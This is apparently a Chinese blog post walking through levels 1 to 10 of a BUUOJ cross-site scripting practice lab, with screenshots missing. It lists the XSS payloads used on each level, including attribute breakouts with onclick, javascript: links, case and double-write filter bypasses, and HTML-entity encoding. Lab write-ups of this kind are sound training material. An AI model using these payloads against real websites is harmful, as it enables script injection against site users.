xss lab(目前是1-10关)

靶机:https://buuoj.cn/challenges#XSS-Lab

第一关

 

 playboard构造:直接在?name=<script>alert('1');</script>

 

输入?keyword=<script>alert('1');</script>&submit=搜索

 

查看源码:

 

注释掉后面的>,jsp中注释符为//,闭合前面的

 

 构造playboad?keyword="><script>alert('1');</script> //&submit=搜索

 

 输入测试:?keyword="><script>alert('1')</script> //&submit=搜索

发现源码

 

 

 发现后台对<>进行了转义,所以弃用<>标签,而onclick按钮可用于html元素中,点击后可触发相关jsp代码

?keyword=' onclick='alert(1)&submit=搜索

闭合单引号 点击框就行

 

测试?keyword="><script>alert(1)</script>&submit=搜索 

查看源码

 

 

发现过滤<>

尝试使用上关playload 发现单引号有些不对修改

playload:?keyword=" onclick="alert(1)&submit=搜索

 

 

测试:

 

 

发现源码变为:

 

 可知其改变了script标签,但没有改变<>,测试onclick标签也有类似情况,所以上伪协议

playload:?keyword="><a href='javascript:alert(1)'>,&submit=搜索

 

 

测试时发现a、sciipt、oncick标签均过滤了,尝试用大小写绕过,成功

playload:?keyword="><Script>alert('1');</script> //&submit=搜索

测试后发现scipt与href被过滤,还有on,且大小写绕过无效,尝试双绕过发现可以

playload:?keyword="><scscriptript>alert(1)</scrscriptipt>&submit=搜索

 

 

查看源码后,发现这个是输入后构造到a标签中 那么用伪协议 发现JavaScript被转义为JavaScri_pt

转换为html编码实体,在线变换网站为https://www.qqxiuzi.cn/bianma/zifushiti.php

字符实体是用一个编号写入HTML代码中来代替一个字符,在使用浏览器访问网页时会将这个编号解析还原为字符以供阅读。

构造出的playload为:java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

 

 发现源码中显示:

 

 当添加buuctf地址 https://buuoj.cn/challenges 发现依然显示不合法,那么这个a标签是通过一些特征码去查看,而非查询后返回

尝试用http://发现合法,而https://不合法,不合法无法正常构造

构造出的playload为:java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

 

 发现源代码中存在三个hidden属性的值

尝试对三个属性传不同的参数,发现只有t_sort参数回显到html上,可以确定是他

构造playload:?keyword=<script>alert('xss')</script>&t_sort=" type="text" οnclick="alert(1)

 

posted @ 2022-03-03 20:25  武阳  阅读(452)  评论(0)    收藏  举报